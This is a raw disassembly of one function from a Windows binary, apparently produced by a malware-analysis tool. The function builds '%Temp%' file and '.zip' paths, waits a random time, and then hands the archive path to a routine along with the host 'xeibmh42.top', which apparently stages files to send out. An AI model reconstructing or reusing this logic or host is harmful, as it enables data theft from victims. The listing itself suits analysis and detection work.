Function at 0x413640
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4c03de
push eax
mov dword fs:[0], esp
sub esp, 0x4b0
cmp byte [0x4da960], 0
push esi
je 0x413682
push 0
call fcn.004ab5ce
add esp, 4
push eax
call fcn.004aa01a
add esp, 4
mov byte [0x4da960], 0
call fcn.004a9ff9
cdq
mov ecx, 5
idiv ecx
lea ecx, [ebp - 0x54]
add edx, 0xa
call fcn.0040ef20
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
mov eax, dword [ebp - 0x44]
cmovae ecx, dword [ebp - 0x54]
add eax, ecx
cmp dword [ebp - 0x40], 0x10
lea ecx, [ebp - 0x54]
cmovae ecx, dword [ebp - 0x54]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x6c]
call fcn.00405df0
push 0x4dc690
mov edx, str._Temp__
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x3c]
call fcn.00405bc0
add esp, 4
push str._Files
mov edx, eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x24]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4136fe
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x4b8]
push 0x208
push ecx
push eax
call esi
mov edx, dword [ebp - 0x10]
cmp edx, 8
jb 0x41374d
mov ecx, dword [ebp - 0x24]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413743
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413ab5
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 7
mov word [ebp - 0x24], ax
cmp edx, 8
jb 0x41379f
mov ecx, dword [ebp - 0x3c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413795
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413ab5
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0xa4]
call fcn.00405bc0
add esp, 4
push 0x4cf3a4
mov edx, eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x3c]
call fcn.00405d20
add esp, 4
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 4
push ecx
mov edx, eax
lea ecx, [ebp - 0x8c]
call fcn.0041ade0
add esp, 4
push str..zip
mov edx, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x24]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x413803
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x2b0]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x10]
cmp edx, 8
jb 0x41384c
mov ecx, dword [ebp - 0x24]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413842
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413aba
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x78]
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 7
mov word [ebp - 0x24], ax
cmp edx, 8
jb 0x4138a1
mov ecx, dword [ebp - 0x8c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413897
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413aba
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 7
mov word [ebp - 0x8c], ax
cmp edx, 8
jb 0x4138f6
mov ecx, dword [ebp - 0x3c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4138ec
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413aba
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x90]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp edx, 8
jb 0x41394e
mov ecx, dword [ebp - 0xa4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413944
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413aba
push edx
push ecx
call fcn.004a24e6
add esp, 8
sub esp, 0x18
lea ecx, [ebp - 0x4b8]
mov edx, esp
mov dword [ebp - 0x70], esp
xor eax, eax
lea esi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x413972
sub ecx, esi
lea eax, [ebp - 0x4b8]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0041aa10
sub esp, 0x18
mov byte [ebp - 4], 6
mov edx, esp
lea ecx, [ebp - 0x2b0]
xor eax, eax
lea esi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4139b5
sub ecx, esi
lea eax, [ebp - 0x2b0]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0041aa10
mov byte [ebp - 4], 1
call fcn.0040f440
add esp, 0x30
cmp byte [0x4da960], 0
je 0x413a02
push 0
call fcn.004ab5ce
add esp, 4
push eax
call fcn.004aa01a
add esp, 4
mov byte [0x4da960], 0
call fcn.004a9ff9
cdq
mov ecx, 0x99
idiv ecx
add edx, 0x12f
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x2b0]
mov ecx, str.xeibmh42.top
call fcn.00412760
mov edx, dword [ebp - 0x58]
cmp edx, 8
jb 0x413a62
mov ecx, dword [ebp - 0x6c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413a58
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413abf
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x40]
xor eax, eax
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 7
mov word [ebp - 0x6c], ax
cmp edx, 0x10
jb 0x413aa6
mov ecx, dword [ebp - 0x54]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x413a9c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413abf
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
int3